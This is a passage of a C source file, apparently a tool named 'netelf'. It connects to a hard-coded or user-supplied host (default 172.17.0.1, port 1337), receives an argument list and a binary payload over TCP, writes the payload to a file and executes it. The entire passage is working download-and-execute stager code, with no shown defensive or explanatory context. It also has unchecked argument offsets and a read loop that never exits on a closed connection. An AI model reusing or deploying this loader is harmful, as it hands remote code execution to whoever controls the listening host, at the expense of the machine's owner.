sock_connect( ip, port ) 137 | char *ip; 138 | int port; 139 | { 140 | struct sockaddr_in serv_addr; 141 | int sockfd; 142 | 143 | #ifdef _WIN32 144 | WSADATA wsadata; 145 | if( WSAStartup(MAKEWORD(2,0), &wsadata) != 0 ) { 146 | return -1; 147 | } 148 | #endif 149 | 150 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 151 | if( sockfd < 0 ) 152 | return sockfd; 153 | 154 | memset(&serv_addr, 0, sizeof(serv_addr)); 155 | serv_addr.sin_family = AF_INET; 156 | serv_addr.sin_port = htons(port); 157 | 158 | #ifdef HAVE_INET_PTON 159 | if (inet_pton(AF_INET, ip, &serv_addr.sin_addr) <= 0) { 160 | return -1; 161 | } 162 | #else 163 | serv_addr.sin_addr.s_addr = inet_addr(ip); 164 | if( serv_addr.sin_addr.s_addr == INADDR_NONE ) { 165 | return -1; 166 | } 167 | #endif 168 | 169 | if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) { 170 | return -2; 171 | } 172 | 173 | return sockfd; 174 | } 175 | 176 | 177 | static unsigned int 178 | sock_read( sockfd, buf, nbytes ) 179 | int sockfd; 180 | char *buf; 181 | unsigned int nbytes; 182 | { 183 | int rc; 184 | #ifdef USE_RECV 185 | rc = recv(sockfd, buf, nbytes, 0); 186 | #else 187 | rc = read(sockfd, buf, nbytes); 188 | #endif 189 | 190 | return rc; 191 | } 192 | 193 | 194 | static unsigned int 195 | sock_readbytes( sockfd, buf, nbytes ) 196 | int sockfd; 197 | char *buf; 198 | unsigned int nbytes; 199 | { 200 | int rc; 201 | unsigned int nbread = 0; 202 | while( nbread < nbytes ) { 203 | rc = sock_read(sockfd, buf, nbytes - nbread); 204 | if (rc < 0) { 205 | return 0; 206 | } 207 | buf += rc; 208 | nbread += rc; 209 | } 210 | return nbread; 211 | } 212 | 213 | 214 | static void 215 | sock_close(sockfd) 216 | int sockfd; 217 | { 218 | #ifdef _WIN32 219 | closesocket(sockfd); 220 | #else 221 | close(sockfd); 222 | #endif 223 | } 224 | 225 | 226 | static unsigned int 227 | sock_readint( sockfd ) 228 | int sockfd; 229 | { 230 | unsigned int ret = 0; 231 | if( sock_readbytes(sockfd, (void*)&ret, 4) != 4 ) { 232 | return 0; 233 | } 234 | return ntohl(ret); 235 | } 236 | 237 | 238 | static char ** 239 | sock_argv( sockfd, argc ) 240 | int sockfd; 241 | unsigned int *argc; 242 | { 243 | char *data = NULL; 244 | char *bufstart; 245 | unsigned int nbytes = sock_readint(sockfd); 246 | unsigned int nargs; 247 | unsigned int args_sz; 248 | char **args; 249 | if( ! nbytes ) { 250 | #ifndef QUIET 251 | perror("Error reading nbytes\n"); 252 | #endif 253 | return NULL; 254 | } 255 | 256 | nargs = sock_readint(sockfd); 257 | if( ! nargs ) { 258 | #ifndef QUIET 259 | perror("Error reading nargs\n"); 260 | #endif 261 | return NULL; 262 | } 263 | if( argc ) 264 | *argc = nargs; 265 | 266 | args_sz = nargs * sizeof(char*); 267 | data = (char *)malloc(args_sz + nbytes); 268 | if( ! data ) 269 | return NULL; 270 | 271 | args = (char**)&data[0]; 272 | bufstart = &data[args_sz]; 273 | while( nargs-- ) { 274 | unsigned int val = sock_readint(sockfd); 275 | if( val ) { 276 | args[nargs] = &bufstart[val]; 277 | } 278 | else { 279 | args[nargs] = NULL; 280 | } 281 | } 282 | 283 | if( ! sock_readbytes(sockfd, bufstart, nbytes) ) { 284 | free(data); 285 | return NULL; 286 | } 287 | 288 | return (char**)data; 289 | } 290 | 291 | 292 | static int 293 | sock_exec_impl( sockfd, nbytes, argc, argv ) 294 | int sockfd; 295 | unsigned int nbytes; 296 | unsigned int argc; 297 | char **argv; 298 | { 299 | ne_file_t outfile; 300 | char buf[1024]; 301 | unsigned int nread; 302 | unsigned int ntoread; 303 | unsigned int nwritten; 304 | 305 | if( file_open(&outfile) ) { 306 | #ifndef QUIET 307 | perror("file_open"); 308 | #endif 309 | return 3; 310 | } 311 | 312 | while( nbytes ) { 313 | ntoread = (nbytes > sizeof(buf)) ? sizeof(buf) : nbytes; 314 | nread = sock_readbytes(sockfd, buf, ntoread); 315 | if( ! nread ) { 316 | return 4; 317 | } 318 | nwritten = file_write(&outfile, buf, nread); 319 | if( nread != nwritten ) { 320 | return 5; 321 | } 322 | nbytes -= nwritten; 323 | } 324 | 325 | return file_exec(&outfile, argc, argv); 326 | } 327 | 328 | 329 | static int 330 | sock_exec( sockfd ) 331 | int sockfd; 332 | { 333 | unsigned int argc; 334 | char **argv; 335 | unsigned int nbytes; 336 | 337 | argv = sock_argv(sockfd, &argc); 338 | if( ! argv ) { 339 | #ifndef QUIET 340 | perror("Cannot read argv\n"); 341 | #endif 342 | return 1; 343 | } 344 | 345 | nbytes = sock_readint(sockfd); 346 | if( ! nbytes ) { 347 | #ifndef QUIET 348 | perror("Cannot read bytes\n"); 349 | #endif 350 | return 2; 351 | } 352 | 353 | return sock_exec_impl(sockfd, nbytes, argc, argv); 354 | } 355 | 356 | 357 | static int 358 | run_netelf(ip_addr, port) 359 | const char *ip_addr; 360 | int port; 361 | { 362 | int rc = -1; 363 | int sockfd; 364 | 365 | sockfd = sock_connect(ip_addr, port); 366 | if( sockfd < 0 ) { 367 | #ifndef QUIET 368 | perror("sock_connect"); 369 | #endif 370 | return 2; 371 | } 372 | 373 | rc = sock_exec(sockfd); 374 | sock_close(sockfd); 375 | return rc; 376 | } 377 | 378 | 379 | #ifndef NETELF_NO_MAIN 380 | 381 | int 382 | main(argc, argv) 383 | int argc; 384 | char **argv; 385 | { 386 | const char *ip_addr = "172.17.0.1"; 387 | int port = 1337; 388 | if (argc > 1) { 389 | ip_addr = argv[1]; 390 | if (argc > 2) { 391 | port = atoi(argv[2]); 392 | } 393 | } 394 | return run_netelf(ip_addr, port); 395 | } 396 | 397 | #endif 398 | --------------------------------------------------------------------------------